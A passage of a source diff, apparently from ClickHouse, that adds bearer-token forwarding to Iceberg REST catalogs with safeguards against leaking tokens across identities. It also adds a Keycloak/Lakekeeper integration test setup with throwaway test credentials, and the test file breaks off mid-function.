createRequestHandler(const Poco::Net::HTTPServerRequest &) override + { + return new RequestHandler(state); + } + +private: + std::shared_ptr state; +}; + +/// In-process fake Iceberg REST catalog on an ephemeral port. +class TestServer +{ +public: + TestServer() + : state(std::make_shared()) + , server_socket(std::make_unique(Poco::Net::SocketAddress("127.0.0.1", 0))) + , handler_factory(new RequestHandlerFactory(state)) + , server_params(new Poco::Net::HTTPServerParams()) + , server(std::make_unique(handler_factory, *server_socket, server_params)) + { + /// The HTTP connection pool is a process-wide singleton keyed on host:port, and each test + /// gets a fresh ephemeral port that the kernel readily recycles. Without dropping the + /// cache, a test can be handed a keep-alive socket left over from a previous test's server + /// on the same port and fail with "Connection reset by peer". + DB::HTTPConnectionPools::instance().dropCache(); + + /// Every catalog reads this first. + state->setStaticRoute("/v1/config", R"({"defaults":{},"overrides":{}})"); + server->start(); + } + + ~TestServer() + { + server->stop(); + DB::HTTPConnectionPools::instance().dropCache(); + } + + std::string getUrl() const { return "http://" + server_socket->address().toString(); } + + ServerState & operator*() const { return *state; } + ServerState * operator->() const { return state.get(); } + +private: + std::shared_ptr state; + std::unique_ptr server_socket; + Poco::SharedPtr handler_factory; + Poco::AutoPtr server_params; + std::unique_ptr server; +}; + +} + +#endif diff --git a/src/Interpreters/Access/InterpreterExecuteAsQuery.cpp b/src/Interpreters/Access/InterpreterExecuteAsQuery.cpp index cc095e3e0b3e..2414ab88b531 100644 --- a/src/Interpreters/Access/InterpreterExecuteAsQuery.cpp +++ b/src/Interpreters/Access/InterpreterExecuteAsQuery.cpp @@ -64,6 +64,14 @@ namespace context->setUser(context->getAccessControl().getID(target_user_name)); + /// Drop the bearer token this session authenticated with (see `ForwardedAuthToken`): it + /// authenticates the original user, not `target_user_name`. Forwarding it on would let an + /// external service authorize the original user while ClickHouse enforces the target + /// user's grants. Unlike `EXECUTE AS ` and DEFINER views, which build a + /// fresh context from the global one and so never carry a token, this switches the + /// existing session context in place and outlives the current query. + context->setForwardedAuthToken(nullptr); + /// We need to update the client info to make currentUser() return `target_user_name`. context->setCurrentUserName(target_user_name); context->setInitialUserName(target_user_name); diff --git a/src/Interpreters/Context.cpp b/src/Interpreters/Context.cpp index 3d27e1f4a075..e06e8f1e1067 100644 --- a/src/Interpreters/Context.cpp +++ b/src/Interpreters/Context.cpp @@ -7472,6 +7472,11 @@ void Context::setClientInfo(const ClientInfo & client_info_) need_recalculate_access = true; } +void Context::setForwardedAuthToken(ForwardedAuthTokenPtr token) +{ + forwarded_auth_token = std::move(token); +} + void Context::setClientName(const String & client_name) { client_info.client_name = client_name; diff --git a/src/Interpreters/Context.h b/src/Interpreters/Context.h index 5a9943af651d..8b26bc0ba09e 100644 --- a/src/Interpreters/Context.h +++ b/src/Interpreters/Context.h @@ -15,6 +15,7 @@ #include #include #include +#include #include #include #include @@ -361,6 +362,13 @@ class ContextData ContextSharedPart * shared{}; ClientInfo client_info; + /// The bearer token this session authenticated with, kept so it can be forwarded to an + /// external service on the user's behalf (see `ForwardedAuthToken`). Populated only when the + /// server-level `enable_token_forwarding` setting is on and the credentials were a + /// `TokenCredentials`. Unlike `client_info` it has no `read`/`write` and is a member of no + /// serialized struct, so by construction it can never reach the interserver wire or the + /// persisted async-`Distributed`-insert header. + ForwardedAuthTokenPtr forwarded_auth_token; ExternalTablesInitializer external_tables_initializer_callback; QueryPlanDeserializationCallback query_plan_deserialization_callback; @@ -968,6 +976,10 @@ class Context: public ContextData, public std::enable_shared_from_this /// Modify stored in the context information about the client executing a query. void setClientInfo(const ClientInfo & client_info_); + + /// The token this session authenticated with, or nullptr when there is none to forward. + const ForwardedAuthTokenPtr & getForwardedAuthToken() const { return forwarded_auth_token; } + void setForwardedAuthToken(ForwardedAuthTokenPtr token); void setClientName(const String & client_name); void setClientInterface(ClientInfo::Interface interface); void setClientVersion(UInt64 client_version_major, UInt64 client_version_minor, UInt64 client_version_patch, unsigned client_tcp_protocol_version); diff --git a/src/Interpreters/Session.cpp b/src/Interpreters/Session.cpp index 1d39c81d7a76..606845227676 100644 --- a/src/Interpreters/Session.cpp +++ b/src/Interpreters/Session.cpp @@ -3,6 +3,7 @@ #include #include #include +#include #include #include #include @@ -409,6 +410,23 @@ void Session::authenticate(const Credentials & credentials_, const Poco::Net::So prepared_client_info->authenticated_user = auth_result.user_name; prepared_client_info->current_address = std::make_shared(address); prepared_client_info->connection_address = std::make_shared(connection_address ? *connection_address : address); + + /// Capture the bearer token only after the attempt succeeded: `onAuthenticationFailure` copies + /// `*prepared_client_info` into a `SessionLogElement`, so anything captured earlier would end + /// up on the failure-logging path. This is also the only point where the canonical + /// `auth_result.user_name` is known. + /// + /// `typeid_cast` is `nullptr` for every other credential kind -- interserver + /// `AlwaysAllowCredentials`, SSL certificate, SSH, ArrowFlight, gRPC, MySQL, PostgreSQL -- so + /// those paths are untouched. The token must come from the credentials that were actually + /// verified here and never from `ExternalAuthenticators`' username-to-token cache: that cache + /// holds one token per user name, so a password-authenticated `alice` could otherwise pick up + /// a token-authenticated `alice`'s bearer token. + if (const auto * token_credentials = typeid_cast(&credentials_)) + { + if (global_context->getAccessControl().isTokenForwardingEnabled()) + forwarded_auth_token = makeForwardedAuthToken(*token_credentials, auth_result.user_name); + } } void Session::checkIfUserIsStillValid() @@ -580,6 +598,7 @@ ContextMutablePtr Session::makeSessionContext() /// Copy prepared client info to the new session context. new_session_context->setClientInfo(*prepared_client_info); + new_session_context->setForwardedAuthToken(forwarded_auth_token); prepared_client_info.reset(); /// Set user information for the new context: current profiles, roles, access rights. @@ -651,6 +670,15 @@ ContextMutablePtr Session::makeSessionContext(const String & session_name_, std: max_sessions_for_user = max_session_for_user_field->safeGet(); } + /// Must overwrite, not merge: a named session reuses a previously created context, which may + /// still hold the token of the request that created it. `ClientInfo` is replaced wholesale + /// above for exactly the same reason. Stamped only while the session still runs as the user + /// that authenticated: `EXECUTE AS ` switches a named session to another identity that + /// outlives the request that issued it, and that identity must not be handed this token. + /// Done after the user is set, so that a freshly created named session is already resolved. + const bool runs_as_authenticated_user = new_session_context->getAccess()->getUserID() == user_id; + new_session_context->setForwardedAuthToken(runs_as_authenticated_user ? forwarded_auth_token : nullptr); + /// Session context is ready. session_context = std::move(new_session_context); named_session = new_named_session; @@ -711,6 +739,16 @@ ContextMutablePtr Session::makeQueryContextImpl(const ClientInfo * client_info_t else if (client_info_to_copy && (client_info_to_copy != &getClientInfo())) query_context->setClientInfo(*client_info_to_copy); + /// The forwarded token is carried separately from `ClientInfo` precisely so that a + /// peer-supplied `ClientInfo` (secondary queries skip `validateClientInfo`) can never set it. + /// + /// Stamped only when there is no session context to inherit it from: a query context copied + /// from the session context already carries the session's token, and that copy is the + /// authoritative one. `EXECUTE AS ` switches a session to another identity and clears + /// the token there, and re-stamping it from `forwarded_auth_token` would hand it right back. + if (!from_session_context) + query_context->setForwardedAuthToken(forwarded_auth_token); + /// Copy current user's name and address if it was authenticated after query_client_info was initialized. if (prepared_client_info && !prepared_client_info->current_user.empty()) { diff --git a/src/Interpreters/Session.h b/src/Interpreters/Session.h index 4ae42dc9c993..1642389a8451 100644 --- a/src/Interpreters/Session.h +++ b/src/Interpreters/Session.h @@ -2,6 +2,7 @@ #include #include +#include #include #include #include @@ -122,6 +123,12 @@ class Session /// ClientInfo that will be copied to a session context when it's created. std::optional prepared_client_info; + /// The bearer token this session authenticated with, when `enable_token_forwarding` is on. + /// Deliberately kept out of `prepared_client_info`: that struct is copied into + /// `SessionLogElement` on an authentication failure and into contexts rebuilt by `EXECUTE AS` + /// and DEFINER views, neither of which may see the secret. + ForwardedAuthTokenPtr forwarded_auth_token; + mutable UserPtr user; std::optional user_id; std::vector external_roles; diff --git a/src/Storages/ObjectStorage/DataLakes/Iceberg/ExpireSnapshotsExecute.cpp b/src/Storages/ObjectStorage/DataLakes/Iceberg/ExpireSnapshotsExecute.cpp index 053d86f7a4c9..fcd3594d55ce 100644 --- a/src/Storages/ObjectStorage/DataLakes/Iceberg/ExpireSnapshotsExecute.cpp +++ b/src/Storages/ObjectStorage/DataLakes/Iceberg/ExpireSnapshotsExecute.cpp @@ -849,7 +849,7 @@ ExpireSnapshotsResult expireSnapshots( { auto catalog_filename = persistent_table_components.path_resolver.resolveForCatalog(metadata_info.path); const auto & [namespace_name, parsed_table_name] = DataLake::parseTableName(table_name); - if (!catalog->updateMetadata(namespace_name, parsed_table_name, catalog_filename, nullptr)) + if (!catalog->updateMetadata(namespace_name, parsed_table_name, catalog_filename, nullptr, context->getForwardedAuthToken())) { throw Exception( ErrorCodes::LOGICAL_ERROR, diff --git a/src/Storages/ObjectStorage/DataLakes/Iceberg/IcebergMetadata.cpp b/src/Storages/ObjectStorage/DataLakes/Iceberg/IcebergMetadata.cpp index f8f3e9c1c093..ccd5de94d519 100644 --- a/src/Storages/ObjectStorage/DataLakes/Iceberg/IcebergMetadata.cpp +++ b/src/Storages/ObjectStorage/DataLakes/Iceberg/IcebergMetadata.cpp @@ -763,7 +763,7 @@ void IcebergMetadata::truncate(ContextPtr context, std::shared_ptrupdateMetadata(namespace_name, table_name, catalog_filename, new_snapshot)) + if (!catalog->updateMetadata(namespace_name, table_name, catalog_filename, new_snapshot, context->getForwardedAuthToken())) throw Exception(ErrorCodes::INCORRECT_DATA, "Failed to commit Iceberg truncate update to catalog."); } @@ -921,7 +921,8 @@ void IcebergMetadata::createInitial( /// validation, so a rejected CREATE leaves no trace in the catalog): a catalog /// that shares its storage view with the data (e.g. SeaweedFS) refuses to create /// a namespace over the plain directory those files would leave behind. - catalog->createNamespaceIfNotExists(DataLake::parseTableName(table_id_.getTableName()).first, location_path); + catalog->createNamespaceIfNotExists( + DataLake::parseTableName(table_id_.getTableName()).first, location_path, local_context->getForwardedAuthToken()); } try @@ -950,7 +951,7 @@ void IcebergMetadata::createInitial( auto catalog_filename = configuration_ptr->getTypeName() + "://" + configuration_ptr->getNamespace() + "/" + configuration_ptr->getRawPath().path + "metadata/v1.metadata.json"; const auto & [namespace_name, table_name] = DataLake::parseTableName(table_id_.getTableName()); - catalog->createTable(namespace_name, table_name, catalog_filename, metadata_content_object); + catalog->createTable(namespace_name, table_name, catalog_filename, metadata_content_object, local_context->getForwardedAuthToken()); } } @@ -2006,7 +2007,7 @@ std::optional IcebergMetadata::commitImport catalog_filename = blob_storage_type_name + "://" + blob_storage_namespace_name + "/" + catalog_filename; const auto & [namespace_name, table_name] = DataLake::parseTableName(table_id.getTableName()); - if (!catalog->updateMetadata(namespace_name, table_name, catalog_filename, new_snapshot)) + if (!catalog->updateMetadata(namespace_name, table_name, catalog_filename, new_snapshot, context->getForwardedAuthToken())) { cleanup(true); return {}; diff --git a/src/Storages/ObjectStorage/DataLakes/Iceberg/IcebergWrites.cpp b/src/Storages/ObjectStorage/DataLakes/Iceberg/IcebergWrites.cpp index 6d005564ff7a..a1293bd4575c 100644 --- a/src/Storages/ObjectStorage/DataLakes/Iceberg/IcebergWrites.cpp +++ b/src/Storages/ObjectStorage/DataLakes/Iceberg/IcebergWrites.cpp @@ -1557,7 +1557,7 @@ bool IcebergStorageSink::initializeMetadata() auto catalog_filename = resolver.resolveForCatalog(metadata_info.path); const auto & [namespace_name, table_name] = DataLake::parseTableName(table_id.getTableName()); - if (!catalog->updateMetadata(namespace_name, table_name, catalog_filename, new_snapshot)) + if (!catalog->updateMetadata(namespace_name, table_name, catalog_filename, new_snapshot, context->getForwardedAuthToken())) { cleanup(true); return false; diff --git a/src/Storages/ObjectStorage/DataLakes/Iceberg/Mutations.cpp b/src/Storages/ObjectStorage/DataLakes/Iceberg/Mutations.cpp index 2933f50f9296..b30f4a7a3457 100644 --- a/src/Storages/ObjectStorage/DataLakes/Iceberg/Mutations.cpp +++ b/src/Storages/ObjectStorage/DataLakes/Iceberg/Mutations.cpp @@ -615,7 +615,7 @@ static bool writeMetadataFiles( { auto catalog_filename = path_resolver.resolveForCatalog(metadata_info.path); const auto & [namespace_name, table_name] = DataLake::parseTableName(table_id.getTableName()); - if (!catalog->updateMetadata(namespace_name, table_name, catalog_filename, new_snapshot)) + if (!catalog->updateMetadata(namespace_name, table_name, catalog_filename, new_snapshot, context->getForwardedAuthToken())) { cleanup(); return false; @@ -972,7 +972,7 @@ void alter( metadata->getValue(Iceberg::f_last_column_id), getHighestFieldId(new_schema)); commit_attempted = true; - if (!catalog->updateSchema(namespace_name, table_name, catalog_filename, new_schema, previous_schema_id, new_last_column_id, metadata)) + if (!catalog->updateSchema(namespace_name, table_name, catalog_filename, new_schema, previous_schema_id, new_last_column_id, metadata, context->getForwardedAuthToken())) { ++i; continue; diff --git a/src/Storages/ObjectStorage/StorageObjectStorage.cpp b/src/Storages/ObjectStorage/StorageObjectStorage.cpp index 46b107d9f2d7..3ab86b0656b7 100644 --- a/src/Storages/ObjectStorage/StorageObjectStorage.cpp +++ b/src/Storages/ObjectStorage/StorageObjectStorage.cpp @@ -158,6 +158,7 @@ StorageObjectStorage::StorageObjectStorage( , is_table_function(is_table_function_) , log(getLogger(fmt::format("Storage{}({})", configuration->getEngineName(), table_id_.getFullTableName()))) , catalog(catalog_) + , catalog_auth_token(context ? context->getForwardedAuthToken() : DB::ForwardedAuthTokenPtr{}) , storage_id(table_id_) , background_operations_assignee(*this, table_id_, BackgroundJobsAssignee::Type::DataProcessing, Context::getGlobalContextInstance()) { @@ -1000,7 +1001,7 @@ void StorageObjectStorage::drop() if (catalog) { const auto [namespace_name, table_name] = DataLake::parseTableName(storage_id.getTableName()); - catalog->dropTable(namespace_name, table_name); + catalog->dropTable(namespace_name, table_name, catalog_auth_token); } /// We cannot use query context here, because drop is executed in the background. configuration->drop(Context::getGlobalContextInstance()); diff --git a/src/Storages/ObjectStorage/StorageObjectStorage.h b/src/Storages/ObjectStorage/StorageObjectStorage.h index 122cd5ffa625..271b2eac8316 100644 --- a/src/Storages/ObjectStorage/StorageObjectStorage.h +++ b/src/Storages/ObjectStorage/StorageObjectStorage.h @@ -1,4 +1,5 @@ #pragma once +#include #include #include #include @@ -268,6 +269,10 @@ class StorageObjectStorage : public IStorage, public IBackgroundOperation LoggerPtr log; std::shared_ptr catalog; + /// The token of the user who resolved this table, captured at construction. `drop()` has no + /// context of its own -- `DatabaseDataLake::dropTable` builds the storage from the query + /// context and calls `drop()` on it synchronously, so the identity is the right one. + DB::ForwardedAuthTokenPtr catalog_auth_token; StorageID storage_id; BackgroundJobsAssignee background_operations_assignee; }; diff --git a/tests/integration/compose/docker_compose_iceberg_lakekeeper_oidc_catalog.yml b/tests/integration/compose/docker_compose_iceberg_lakekeeper_oidc_catalog.yml new file mode 100644 index 000000000000..c4d733d1e52c --- /dev/null +++ b/tests/integration/compose/docker_compose_iceberg_lakekeeper_oidc_catalog.yml @@ -0,0 +1,150 @@ +# Lakekeeper with OIDC authentication and a real authorization backend, plus the Keycloak that +# issues the tokens. Used by `test_datalake_sso_lakekeeper` to prove end-to-end SSO: the identity +# that authenticated to ClickHouse is the identity Lakekeeper authorizes. +# +# Differences from `docker_compose_iceberg_lakekeeper_catalog.yml`: +# * `LAKEKEEPER__OPENID_*` makes Lakekeeper accept and validate IdP tokens; +# * `LAKEKEEPER__AUTHZ_BACKEND=openfga` -- the default is `allowall`, under which a per-user +# authorization test proves nothing; +# * Keycloak lives in this file rather than in `docker_compose_keycloak.yml`, so that the issuer +# URL is the in-network `http://keycloak:8080/...` for every participant; +# * no unauthenticated `bootstrap` service: with OIDC on, bootstrap must present an admin token, +# so the test does it. +services: + keycloak: + image: quay.io/keycloak/keycloak:26.2 + command: + - "start-dev" + - "--import-realm" + - "--health-enabled=true" + environment: + - KC_BOOTSTRAP_ADMIN_USERNAME=admin + - KC_BOOTSTRAP_ADMIN_PASSWORD=admin + volumes: + - ../test_datalake_sso_lakekeeper/keycloak/realm-export.json:/opt/keycloak/data/import/realm.json:ro + healthcheck: + test: + - CMD-SHELL + - > + exec 3<>/dev/tcp/127.0.0.1/8080; + echo -e "GET /realms/clickhouse-test/.well-known/openid-configuration HTTP/1.1\r\nhost: 127.0.0.1:8080\r\nConnection: close\r\n\r\n" >&3; + grep "jwks_uri" <&3 + interval: 2s + timeout: 10s + retries: 30 + start_period: 30s + cpus: 3 + + lakekeeper: + image: vakamo/lakekeeper:v0.13.1 + environment: + - LAKEKEEPER__PG_ENCRYPTION_KEY=This-is-NOT-Secure! + - LAKEKEEPER__PG_DATABASE_URL_READ=postgresql://postgres:postgres@db:5432/postgres + - LAKEKEEPER__PG_DATABASE_URL_WRITE=postgresql://postgres:postgres@db:5432/postgres + - LAKEKEEPER__AUTHZ_BACKEND=openfga + - LAKEKEEPER__OPENFGA__ENDPOINT=http://openfga:8081 + - LAKEKEEPER__OPENID_PROVIDER_URI=http://keycloak:8080/realms/clickhouse-test + - LAKEKEEPER__OPENID_AUDIENCE=lakekeeper + - LAKEKEEPER__OPENID_SCOPE=openid profile email + - RUST_LOG=info + command: ["serve"] + ports: + - "${ICEBERG_REST_CATALOG_PORT}:8181" + healthcheck: + test: ["CMD", "/home/nonroot/lakekeeper", "healthcheck"] + interval: 2s + timeout: 10s + retries: 30 + start_period: 30s + depends_on: + migrate: + condition: service_completed_successfully + db: + condition: service_healthy + openfga: + condition: service_healthy + keycloak: + condition: service_healthy + cpus: 3 + + migrate: + image: vakamo/lakekeeper:v0.13.1 + environment: + - LAKEKEEPER__PG_ENCRYPTION_KEY=This-is-NOT-Secure! + - LAKEKEEPER__PG_DATABASE_URL_READ=postgresql://postgres:postgres@db:5432/postgres + - LAKEKEEPER__PG_DATABASE_URL_WRITE=postgresql://postgres:postgres@db:5432/postgres + - LAKEKEEPER__AUTHZ_BACKEND=openfga + - LAKEKEEPER__OPENFGA__ENDPOINT=http://openfga:8081 + - RUST_LOG=info + restart: "no" + command: ["migrate"] + depends_on: + db: + condition: service_healthy + openfga: + condition: service_healthy + cpus: 3 + + db: + image: postgres:16 + environment: + - POSTGRES_USER=postgres + - POSTGRES_PASSWORD=postgres + - POSTGRES_DB=postgres + healthcheck: + test: ["CMD-SHELL", "pg_isready -U postgres -d postgres"] + interval: 2s + timeout: 10s + retries: 10 + start_period: 10s + cpus: 3 + + openfga: + image: openfga/openfga:v1.8 + command: run + environment: + - OPENFGA_DATASTORE_ENGINE=postgres + - OPENFGA_DATASTORE_URI=postgres://postgres:postgres@openfga-db:5432/postgres?sslmode=disable + - OPENFGA_PLAYGROUND_ENABLED=false + # No IdP in front of OpenFGA: it is reachable only on the compose network, and adding a + # service-account client to the realm would buy the test nothing. + - OPENFGA_AUTHN_METHOD=none + - OPENFGA_HTTP_TLS_ENABLED=false + healthcheck: + test: ["CMD", "/usr/local/bin/grpc_health_probe", "-addr=openfga:8081"] + interval: 5s + timeout: 30s + retries: 10 + start_period: 10s + depends_on: + openfga-db: + condition: service_healthy + openfga-migrate: + condition: service_completed_successfully + cpus: 3 + + openfga-migrate: + image: openfga/openfga:v1.8 + command: migrate + restart: "no" + environment: + - OPENFGA_DATASTORE_ENGINE=postgres + - OPENFGA_DATASTORE_URI=postgres://postgres:postgres@openfga-db:5432/postgres?sslmode=disable + depends_on: + openfga-db: + condition: service_healthy + cpus: 3 + + openfga-db: + image: postgres:16 + environment: + - POSTGRES_USER=postgres + - POSTGRES_PASSWORD=postgres + - POSTGRES_DB=postgres + healthcheck: + test: ["CMD-SHELL", "pg_isready -U postgres -d postgres"] + interval: 2s + timeout: 10s + retries: 10 + start_period: 10s + cpus: 3 diff --git a/tests/integration/test_datalake_sso_lakekeeper/__init__.py b/tests/integration/test_datalake_sso_lakekeeper/__init__.py new file mode 100644 index 000000000000..e69de29bb2d1 diff --git a/tests/integration/test_datalake_sso_lakekeeper/configs/cluster.xml b/tests/integration/test_datalake_sso_lakekeeper/configs/cluster.xml new file mode 100644 index 000000000000..870a786f2742 --- /dev/null +++ b/tests/integration/test_datalake_sso_lakekeeper/configs/cluster.xml @@ -0,0 +1,18 @@ + + + + + + node1 + 9000 + + + + + node2 + 9000 + + + + + diff --git a/tests/integration/test_datalake_sso_lakekeeper/configs/token_forwarding.xml b/tests/integration/test_datalake_sso_lakekeeper/configs/token_forwarding.xml new file mode 100644 index 000000000000..f4fe0695ea87 --- /dev/null +++ b/tests/integration/test_datalake_sso_lakekeeper/configs/token_forwarding.xml @@ -0,0 +1,24 @@ + + + 1 + + + + openid + http://keycloak:8080/realms/clickhouse-test/.well-known/openid-configuration + true + preferred_username + 60 + + 5 + + + + + + + keycloak + default + + + diff --git a/tests/integration/test_datalake_sso_lakekeeper/configs/users.xml b/tests/integration/test_datalake_sso_lakekeeper/configs/users.xml new file mode 100644 index 000000000000..51702839437b --- /dev/null +++ b/tests/integration/test_datalake_sso_lakekeeper/configs/users.xml @@ -0,0 +1,21 @@ + + + + + 1 + + + + + 1 + 1 + + + + passworduser_password + default + ::/0 + + + diff --git a/tests/integration/test_datalake_sso_lakekeeper/keycloak/realm-export.json b/tests/integration/test_datalake_sso_lakekeeper/keycloak/realm-export.json new file mode 100644 index 000000000000..24fc77369dce --- /dev/null +++ b/tests/integration/test_datalake_sso_lakekeeper/keycloak/realm-export.json @@ -0,0 +1,118 @@ +{ + "realm": "clickhouse-test", + "enabled": true, + "sslRequired": "none", + "registrationAllowed": false, + "accessTokenLifespan": 1800, + "clientScopes": [ + { + "name": "lakekeeper", + "description": "Adds the `lakekeeper` audience, which Lakekeeper checks on every request.", + "protocol": "openid-connect", + "attributes": { + "include.in.token.scope": "true", + "display.on.consent.screen": "false" + }, + "protocolMappers": [ + { + "name": "lakekeeper-audience", + "protocol": "openid-connect", + "protocolMapper": "oidc-audience-mapper", + "consentRequired": false, + "config": { + "included.custom.audience": "lakekeeper", + "id.token.claim": "false", + "access.token.claim": "true", + "introspection.token.claim": "true" + } + } + ] + } + ], + "clients": [ + { + "clientId": "clickhouse", + "enabled": true, + "secret": "clickhouse-secret", + "publicClient": false, + "directAccessGrantsEnabled": true, + "serviceAccountsEnabled": false, + "standardFlowEnabled": true, + "protocol": "openid-connect", + "redirectUris": ["*"], + "webOrigins": ["*"], + "defaultClientScopes": [ + "acr", + "basic", + "email", + "profile", + "roles", + "web-origins", + "lakekeeper" + ] + }, + { + "clientId": "clickhouse-exchange", + "enabled": true, + "secret": "clickhouse-exchange-secret", + "publicClient": false, + "directAccessGrantsEnabled": true, + "serviceAccountsEnabled": false, + "standardFlowEnabled": true, + "protocol": "openid-connect", + "redirectUris": ["*"], + "webOrigins": ["*"], + "attributes": { + "standard.token.exchange.enabled": "true" + }, + "defaultClientScopes": ["acr", "basic", "email", "profile", "roles", "web-origins"], + "optionalClientScopes": ["lakekeeper"] + }, + { + "clientId": "lakekeeper", + "enabled": true, + "secret": "lakekeeper-secret", + "publicClient": false, + "bearerOnly": false, + "directAccessGrantsEnabled": false, + "serviceAccountsEnabled": false, + "standardFlowEnabled": false, + "protocol": "openid-connect" + } + ], + "users": [ + { + "username": "lkadmin", + "enabled": true, + "emailVerified": true, + "email": "lkadmin@example.com", + "firstName": "Lakekeeper", + "lastName": "Admin", + "requiredActions": [], + "credentials": [{ "type": "password", "value": "secret", "temporary": false }], + "realmRoles": ["default-roles-clickhouse-test"] + }, + { + "username": "alice", + "enabled": true, + "emailVerified": true, + "email": "alice@example.com", + "firstName": "Alice", + "lastName": "Tester", + "requiredActions": [], + "credentials": [{ "type": "password", "value": "secret", "temporary": false }], + "realmRoles": ["default-roles-clickhouse-test"] + }, + { + "username": "bob", + "enabled": true, + "emailVerified": true, + "email": "bob@example.com", + "firstName": "Bob", + "lastName": "Tester", + "requiredActions": [], + "credentials": [{ "type": "password", "value": "secret", "temporary": false }], + "realmRoles": ["default-roles-clickhouse-test"] + } + ] +} diff --git a/tests/integration/test_datalake_sso_lakekeeper/test.py b/tests/integration/test_datalake_sso_lakekeeper/test.py new file mode 100644 index 000000000000..62b43745a408 --- /dev/null +++ b/tests/integration/test_datalake_sso_lakekeeper/test.py @@ -0,0 +1,509 @@ +""" +End-to-end SSO: the identity that authenticated to ClickHouse is the identity the Iceberg REST +catalog authorizes. + +Layer 3 of the verification plan. Keycloak issues the tokens, Lakekeeper validates them and -- with +`LAKEKEEPER__AUTHZ_BACKEND=openfga`, not the `allowall` default -- actually enforces per-user +permissions. Without that backend every assertion here would pass for the wrong reason. + +Passthrough is what makes this layer possible at all: Lakekeeper accepts IdP tokens directly, so no +token endpoint is involved. The exchange-at-IdP variant is one extra case on the same topology. + +Run: + python -m ci.praktika run "integration" --test test_datalake_sso_lakekeeper +""" + +import json +import logging +import time +import uuid + +import pandas as pd +import pyarrow as pa +import pytest +import requests +from pyiceberg.catalog.rest import RestCatalog +from pyiceberg.schema import Schema +from pyiceberg.types import IntegerType, NestedField, StringType + +from helpers.cluster import ClickHouseCluster + +REALM = "clickhouse-test" +KEYCLOAK_INTERNAL = f"http://keycloak:8080/realms/{REALM}" +TOKEN_ENDPOINT = f"{KEYCLOAK_INTERNAL}/protocol/openid-connect/token" +CATALOG_INTERNAL_URL = "http://lakekeeper:8181/catalog" + +# Client whose tokens already carry `aud=lakekeeper` (default client scope), for passthrough. +CLIENT_ID = "clickhouse" +CLIENT_SECRET = "clickhouse-secret" +# Client whose tokens do NOT, so an exchange is what has to produce the audience. +EXCHANGE_CLIENT_ID = "clickhouse-exchange" +EXCHANGE_CLIENT_SECRET = "clickhouse-exchange-secret" + +WAREHOUSES = ["wh_alice", "wh_bob", "wh_shared"] + +SCHEMA = Schema( + NestedField(field_id=1, name="id", field_type=IntegerType(), required=False), + NestedField(field_id=2, name="data", field_type=StringType(), required=False), +) + + +# --- helpers --------------------------------------------------------------------------------- + +def lakekeeper_host_url(cluster): + return f"http://localhost:{cluster.iceberg_rest_catalog_port}" + + +def get_token(node, username, password="secret", client_id=CLIENT_ID, client_secret=CLIENT_SECRET, + scope=None): + """ + Tokens are fetched from inside the ClickHouse container so that every participant -- ClickHouse, + Lakekeeper and this test -- sees the same issuer, `http://keycloak:8080/realms/...`. + """ + form = ( + f"grant_type=password&client_id={client_id}&client_secret={client_secret}" + f"&username={username}&password={password}" + ) + if scope: + form += f"&scope={scope}" + raw = node.exec_in_container( + ["bash", "-c", f"curl -s -X POST -d '{form}' {TOKEN_ENDPOINT}"] + ) + payload = json.loads(raw) + assert "access_token" in payload, raw + return payload["access_token"] + + +def jwt_claim(token, claim): + import base64 + + body = token.split(".")[1] + body += "=" * (-len(body) % 4) + return json.loads(base64.urlsafe_b64decode(body))[claim] + + +def management(cluster, method, path, token, json_body=None, expected=(200, 201, 204, 409)): + response = requests.request( + method, + f"{lakekeeper_host_url(cluster)}/management/v1{path}", + headers={"Authorization": f"Bearer {token}", "Content-Type": "application/json"}, + json=json_body, + timeout=60, + ) + assert response.status_code in expected, f"{method} {path} -> {response.status_code}: {response.text}" + return response + + +def create_warehouse(cluster, token, name): + minio_endpoint = f"http://{cluster.minio_ip}:{cluster.minio_port}" + body = { + "warehouse-name": name, + "project-id": "00000000-0000-0000-0000-000000000000", + "storage-profile": { + "type": "s3", + "bucket": "warehouse-rest", + "key-prefix": name, + "assume-role-arn": None, + "endpoint": minio_endpoint, + "region": "local-01", + "path-style-access": True, + "flavor": "minio", + "sts-enabled": True, + }, + "storage-credential": { + "type": "s3", + "credential-type": "access-key", + "aws-access-key-id": "minio", + "aws-secret-access-key": "ClickHouse_Minio_P@ssw0rd", + }, + } + response = management(cluster, "POST", "/warehouse", token, body) + if response.status_code == 409: + listing = management(cluster, "GET", "/warehouse", token).json() + for warehouse in listing.get("warehouses", []): + if warehouse["name"] == name: + return warehouse["id"] + raise AssertionError(f"warehouse {name} exists but was not listed") + return response.json()["id"] + + +def provision_user(cluster, admin_token, token_of_user, username): + management( + cluster, + "POST", + "/user", + admin_token, + { + "id": f"oidc~{jwt_claim(token_of_user, 'sub')}", + "name": username, + "email": f"{username}@example.com", + "user-type": "human", + "update-if-exists": True, + }, + ) + return f"oidc~{jwt_claim(token_of_user, 'sub')}" + + +def grant_on_warehouse(cluster, admin_token, warehouse_id, user_id, relations): + management( + cluster, + "POST", + f"/permissions/warehouse/{warehouse_id}/assignments", + admin_token, + {"writes": [{"user": user_id, "type": relation} for relation in relations]}, + ) + + +def pyiceberg_catalog(cluster, warehouse, token): + return RestCatalog( + name="lakekeeper", + warehouse=warehouse, + uri=f"{lakekeeper_host_url(cluster)}/catalog", + token=token, + **{ + "s3.endpoint": f"http://{cluster.minio_ip}:{cluster.minio_port}", + "s3.access-key-id": "minio", + "s3.secret-access-key": "ClickHouse_Minio_P@ssw0rd", + }, + ) + + +def seed_table(cluster, warehouse, token, namespace, table_name, rows=3): + catalog = pyiceberg_catalog(cluster, warehouse, token) + if (namespace,) not in catalog.list_namespaces(): + catalog.create_namespace((namespace,)) + table = catalog.create_table( + (namespace, table_name), + schema=SCHEMA, + properties={"write.metadata.compression-codec": "none"}, + ) + table.append( + pa.Table.from_pandas( + pd.DataFrame({"id": list(range(rows)), "data": [f"row{i}" for i in range(rows)]}), + schema=table.schema().as_arrow(), + ) + ) + return table + + +def create_database(node, name, warehouse, extra=None): + settings = { + "catalog_type": "rest", + "warehouse": warehouse, + "storage_endpoint": "http://minio1:9001/warehouse-rest", + "oauth_forward_user_token": 1, + } + settings.update(extra or {}) + node.query(f"DROP DATABASE IF EXISTS {name}") + node.query( + f"SET allow_experimental_database_iceberg=true;" + f"CREATE DATABASE {name} ENGINE = DataLakeCatalog('{CATALOG_INTERNAL_URL}') " + f"SETTINGS {','.join(k + '=' + repr(v) for k, v in settings.items())}" + ) + + +def query_as(node, token, sql, query_id=None): + params = {"query_id": query_id} if query_id else None + response = node.http_request( + "", method="POST", data=sql, params=params, + headers={"Authorization": f"Bearer {token}"}, + ) + return response + + +def query_as_ok(node, token, sql, query_id=None): + response = 